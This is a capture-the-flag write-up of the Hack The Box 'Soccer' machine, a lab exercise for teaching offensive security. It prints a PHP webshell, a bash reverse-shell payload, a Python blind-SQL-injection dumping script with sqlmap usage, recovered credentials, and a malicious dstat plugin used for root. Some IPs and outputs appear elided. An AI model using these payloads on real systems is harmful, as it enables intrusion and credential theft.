Soccer Writeup

10 June 2023 #CTF #HTB #box #easy #linux

soccer info


It's not soccer, it's football:

$ sudo nmap -F -sC -sV
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
|   256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_  256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


We can use the ssh banner to fingerprint the OS version. In our case, we learn that the box is running Ubuntu 20.04 (Focal).


Upon accessing the web server, we are redirected to http://soccer.htb, which we'll add to our /etc/hosts file.

It's also worth looking for subdomains, but in our case, we don't find any.

We get a simple static page:

index of soccer.htb

There are no links on here so let's fire up gobuster to look for pages:

$ gobuster dir -u http://soccer.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -o enum/root.dir
/tiny        (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]

There is a unusual /tiny/ directory. Let's take a look:

tiny file manager login

This is an open source application (repo). We can find some default creds in the readme:

default creds


Now that we are logged in, we can see the files:

tiny file manager app

This is most likely the web root of the webserver.

There is an upload functionality, but we don't have write access to this directory. However if we go into tiny, there is an uploads directory we can write to:

tiny directory

Let's write a simple php webshell:

$ echo '<?php system($_REQUEST["cmd"]); ?>' > shell.php

Then upload it by drag and dropping the file:


Now we should be able to go to http://soccer.htb/tiny/uploads/shell.php:

RCE in webshell

We can get a reverse shell by putting this payload in the cmd parameter:

bash -c 'bash -i >%26 /dev/tcp/ 0>%261'

We have to URL encode the & character to avoid it being interpreted as the HTTP parameter separator.


A good place to start is check what is listening on the box:

www-data@soccer:~/html/tiny/uploads$ ss -lnpt
State      Recv-Q   Send-Q    Local Address:Port     Peer Address:Port     Process                                                           
LISTEN     0        151 *                                                                          
LISTEN     0        511     *        users:(("nginx",pid=1009,fd=6),("nginx",pid=1008,fd=6))          
LISTEN     0        4096  *                                                                          
LISTEN     0        128     *                                                                          
LISTEN     0        511 *                                                                          
LISTEN     0        511   *                                                                          
LISTEN     0        70  *                                                                          
LISTEN     0        511                [::]:80               [::]:*        users:(("nginx",pid=1009,fd=7),("nginx",pid=1008,fd=7))          
LISTEN     0        128                [::]:22               [::]:*

We see that MySQL is running, as well as port 9091. When accessing the port through the webserver, we get an error:

try port 9091

We should take a look at the nginx config files to understand what is going on. In /etc/nginx/sites-available/soc-player.htb we find a new virtual host:

server {
    listen 80;
    listen [::]:80;


    root /root/app/views;

    location / {
        proxy_pass http://localhost:3000;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection 'upgrade';
        proxy_set_header Host $host;
        proxy_cache_bypass $http_upgrade;

After adding this subdomain to our /etc/hosts (once again), we get a new page:

new virtual host index

It looks a lot like the previous one, but there are some links at the top.

Blind SQLi

After creating an account and logging in we access this page:

check page after login

We can input our ticket number and check if it exists:

check ticket

After testing a few SQLi payloads, we are able to confirm the vulnerability:

SQLi payload

Looking in the source of the page, we can see some javascript code:

javascript websocket

Port 9091 is in fact used for websockets communication. It just sends what we input into a JSON object when we press Enter.

We have a boolean-based SQL injection on our hands so let's get to work.

Custom python script

We'll write a quick and dirty python script to dump data from the DB. Make sure you have the websocket python module installed. Otherwise just run pip3 install websocket-client.

The first step is to enumerate the databases. We'll use this payload:

42 OR substring((SELECT group_concat(schema_name) FROM information_schema.schemata), 1, n) = '<data>'

We use the substring function to bruteforce the name of the databases one character by one. group_concat is used to put all results on one line (separated by a comma). Note that the substring function starts at index 1.

Here is the script:

#!/usr/bin/env python3

from websocket import WebSocket
import string

ws = WebSocket()

chars = string.ascii_lowercase + ',_'
n = 1
data = ''
while True:
    for c in chars:
        payload = '{"id":"42 ' + f"OR substring((SELECT group_concat(schema_name) FROM information_schema.schemata), 1, {n}) = '{data + c}'" + '"}'
        r = ws.recv()
        if "Ticket Exists" in r:
            n += 1
            data += c
            print(f'\rdumping: {data}', end='')

We know the ticket id 42 doesn't exist, so if the response says 'Ticket Exists', we know the substring matched.

Dump databases:

$ ./         
dumping: mysql,information_schema,performance_schema,sys,soccer_db

(since it's a while True just CTRL+c when you don't get any more data).

We only care about soccer_db. Let's enumerate its tables. Just replace the previous payload with this one:

'{"id":"42 ' + f"OR substring((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'soccer_db'), 1, {n}) = '{data + c}'" + '"}'

Dump tables in soccer_db:

$ ./         
dumping: accounts

Only one table, now let's take a look at its columns with this payload:

'{"id":"42 ' + f"OR substring((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name = 'accounts'), 1, {n}) = '{data + c}'" + '"}'

Dumps columns in accounts table:

$ ./
dumping: current_connections,host,max_session_controlled_memory,max_session_total_memory,total_connections,user,email,id,password,username

Before extracting the creds, we have to extend our character set. We'll update the chars variable to string.printable. For all I know, a password could contain digits, uppercase letters, or even special characters.

We'll extract both username and password separated by a colon with the concat function:

'{"id":"42 ' + f"OR substring((SELECT BINARY group_concat(concat(username,':',password)) FROM accounts), 1, {n}) = '{data + c}'" + '"}'

Note the use of the BINARY operator. This is necessary in order to avoid uppercase characters being matched against lowercase characters.

Dump data of accounts table:

$ ./
dumping: player:PlayerOftheMatch2022

If we don't specify BINARY this is what we get:

$ ./
dumping: pLayER:pLayERoFThEMatCH2022

Clearly not what we want.

With these creds, we can ssh in as the player user (and get our well deserved user.txt flag).

Automate with sqlmap

Writing a python script to exploit a SQLi is fun and all but what if you don't have that much time? Or you can't be arsed? Well we can use sqlmap to automate the process, but there is literally 0 (zero) documentation on how to work with websockets.

sqlmap actually supports the ws:// URL scheme (even if it's not said anywhere) and we can use the --data option to send our websocket message as if it was a POST body:

$ sqlmap -u 'ws://' --data '{"id":"42"}' --batch --dbms=MySQL --technique=B --dbs --level 5 --risk 3
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys

I could only get it to work with --level 5 and --risk 3. From there, we could start dumping the DB like we did previously.

Easier (and faster) for sure, but way less fun (:

Abuse dstat with custom plugin

When looking around the filesystem for setuid executables we come across an unusual binary:

player@soccer:~$ find / -type f -user root -executable -perm -u=s 2>/dev/null

doas is the equivalent of sudo on BSD-like operating systems.

It has a config file just like /etc/sudoers for sudo but it is not present in /etc:

player@soccer:~$ cat /etc/doas.conf
cat: /etc/doas.conf: No such file or directory

Maybe it's in another directory? Let's search for it with find:

player@soccer:~$ find / -type f -name doas.conf 2> /dev/null
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat

There is a config file in an alternate directory and it seems like we can execute /usr/bin/dstat as root without password.

After a quick search we learn that dstat is an open source python script used to monitor system resources.

The help output mentions plugins:

player@soccer:~$ dstat -h
  --list                   list all available plugins
  --<plugin-name>          enable external plugin by name (see --list)

The readme has some more information:

Dstat is extensible! You can write your own Dstat plugins to monitor whatever you like in just a few minutes based on provided examples and a little bit of Python knowledge.

That sounds quite good for us. Now we need to understand how and where to write a custom plugin.

Using the --list option we can see a list of plugins:

player@soccer:~$ dstat --list

Here it says the plugins are located in /usr/share/dstat. We can't write to this directory so we need to dig a bit deeper.

Using find (i love find) we can list the files/directories that a specific user or group owns. In our case we get a hit with the player group:

player@soccer:~$ find / -group player -ls 2> /dev/null | grep -vP '/sys|/proc|/run|/dev'
   520971      4 drwxrwx---   2 root     player       4096 Dec 12 14:53 /usr/local/share/dstat

Nice, we can write in /usr/local/share/dstat. To confirm that dstat actually looks in this directory, we can take a look at the code (in /usr/bin/dstat):

pluginpath = [
    os.path.abspath(os.path.dirname(sys.argv[0])) + '/plugins/',

Great! We even have the option to create a directory in our home.

Before writing the evil custom plugin, let's take a look at the legitimate plugins:

player@soccer:/usr/local/share/dstat$ ls /usr/share/dstat/ -l   
-rw-r--r-- 1 root root  2648 Jul 29  2019
-rw-r--r-- 1 root root  1430 Jul 29  2019
-rw-r--r-- 1 root root  4338 Jul 29  2019
-rw-r--r-- 1 root root  2493 Jul 29  2019

As we can see, they all start with dstat_ so we'll do it as well:

player@soccer:~$ cd /usr/local/share/dstat
player@soccer:/usr/local/share/dstat$ echo 'import os;os.system("bash")' >
player@soccer:/usr/local/share/dstat$ doas /usr/bin/dstat --gimmeroot
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
root@soccer:/usr/local/share/dstat# id
uid=0(root) gid=0(root) groups=0(root)

Key Takeaways